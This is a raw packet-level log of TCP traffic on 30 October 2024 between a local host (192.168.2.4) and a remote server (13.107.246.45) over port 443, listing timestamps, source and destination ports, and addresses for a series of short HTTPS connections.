Oct 30, 2024 07:28:35.886697054 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.887484074 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.887527943 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.887932062 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.887938023 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.908598900 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.908629894 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.908703089 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.908706903 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.908754110 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.908977985 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.908996105 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.909004927 CET	50002	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.909008980 CET	443	50002	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.911528111 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.911572933 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:35.911662102 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.911829948 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:35.911843061 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.016717911 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.016746998 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.016841888 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.016880035 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.016906977 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.016957045 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.017090082 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.017111063 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.017121077 CET	50001	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.017127037 CET	443	50001	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.020291090 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.020353079 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.020421028 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.020601988 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.020616055 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.088462114 CET	50000	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.088485003 CET	443	50000	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.355848074 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.356623888 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.356666088 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.357152939 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.357158899 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.489098072 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.489177942 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.489309072 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.489330053 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.489371061 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.494987965 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.495028019 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.495044947 CET	50003	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.495053053 CET	443	50003	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.498439074 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.498498917 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.498594046 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.498737097 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.498749018 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.523478031 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.524399996 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.524425030 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.524940968 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.524946928 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.590919018 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.591559887 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.591589928 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.592041969 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.592046976 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.646456003 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.647139072 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.647154093 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.647600889 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.647607088 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.656645060 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.656711102 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.656764984 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.657044888 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.657044888 CET	50004	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.657059908 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.657069921 CET	443	50004	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.660468102 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.660516024 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.660593033 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.660742998 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.660753965 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.722399950 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.722475052 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.722661972 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.722910881 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.722935915 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.722970009 CET	50005	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.722975969 CET	443	50005	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.726058006 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.726111889 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.726340055 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.726340055 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.726383924 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.754589081 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.755151987 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.755171061 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.755662918 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.755667925 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.777973890 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.778044939 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.778115988 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.779418945 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.779418945 CET	50006	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.779442072 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.779454947 CET	443	50006	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.784693003 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.784743071 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.784941912 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.785150051 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.785160065 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.885035038 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.885133982 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.885250092 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.885253906 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.885330915 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.885569096 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.885595083 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.885606050 CET	50007	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.885612011 CET	443	50007	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.889025927 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.889080048 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:36.889168024 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.889341116 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:36.889354944 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.247467041 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.248321056 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.248356104 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.248768091 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.248783112 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.387392998 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.387494087 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.387741089 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.387801886 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.387801886 CET	50008	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.387856960 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.387880087 CET	443	50008	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.391052961 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.391108990 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.391194105 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.391366959 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.391380072 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.429390907 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.430284023 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.430309057 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.430836916 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.430841923 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.465193987 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.467072964 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.467107058 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.467740059 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.467751980 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.523869991 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.530376911 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.530433893 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.530883074 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.530890942 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.560544968 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.560580015 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.560628891 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.560648918 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.560693979 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.561000109 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.561018944 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.561029911 CET	50009	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.561034918 CET	443	50009	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.564729929 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.564785004 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.564857006 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.565033913 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.565047979 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.597449064 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.597507954 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.597587109 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.597875118 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.597875118 CET	50010	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.597901106 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.597917080 CET	443	50010	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.601258039 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.601310968 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.601408958 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.601603031 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.601619959 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.619214058 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.619771004 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.619812965 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.620372057 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.620378971 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.654841900 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.654876947 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.654923916 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.654938936 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.654966116 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.655354023 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.655369043 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.655378103 CET	50011	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.655384064 CET	443	50011	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.659241915 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.659276009 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.659329891 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.659579039 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.659595966 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.749819040 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.749896049 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.750144958 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.750193119 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.750193119 CET	50012	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.750216961 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.750226974 CET	443	50012	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.753217936 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.753252983 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:37.753333092 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.753488064 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:37.753506899 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.132325888 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.133096933 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.133130074 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.133585930 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.133591890 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.263537884 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.263631105 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.263712883 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.263991117 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.264015913 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.264029026 CET	50013	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.264035940 CET	443	50013	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.267429113 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.267463923 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.267530918 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.267685890 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.267699957 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.299807072 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.300498962 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.300533056 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.301453114 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.301460028 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.338080883 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.338756084 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.338776112 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.339253902 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.339260101 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.397869110 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.398581028 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.398606062 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.399175882 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.399180889 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.430491924 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.430567026 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.430639982 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.430880070 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.430903912 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.430918932 CET	50014	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.430924892 CET	443	50014	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.434211969 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.434263945 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.434451103 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.434648037 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.434664011 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.471757889 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.471828938 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.472157001 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.472372055 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.472372055 CET	50015	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.472398043 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.472409964 CET	443	50015	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.475399971 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.475440979 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.475575924 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.475663900 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.475677013 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.483437061 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.484004974 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.484031916 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.484500885 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.484508038 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.613464117 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.613503933 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.613560915 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.613571882 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.613620043 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.613893032 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.613919973 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.613934040 CET	50017	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.613940001 CET	443	50017	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.617501974 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.617556095 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.617643118 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.617835045 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.617850065 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.646513939 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.646593094 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.646665096 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.647001982 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.647021055 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.647032022 CET	50016	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.647037983 CET	443	50016	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.650615931 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.650651932 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.651046991 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.651210070 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.651225090 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.997391939 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.997997999 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.998016119 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:38.998522043 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:38.998528004 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.131546021 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.131648064 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.131694078 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.131946087 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.131963015 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.131975889 CET	50018	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.131980896 CET	443	50018	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.135750055 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.135807991 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.135874033 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.136204004 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.136219978 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.165478945 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.166115046 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.166146994 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.166668892 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.166673899 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.213181019 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.214018106 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.214037895 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.214422941 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.214432955 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.340573072 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.341470957 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.341504097 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.341912985 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.341921091 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.345746040 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.345810890 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.345916033 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.346148968 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.346148968 CET	50020	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.346164942 CET	443	50020	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.346179008 CET	443	50020	13.107.246.45	192.168.2.4
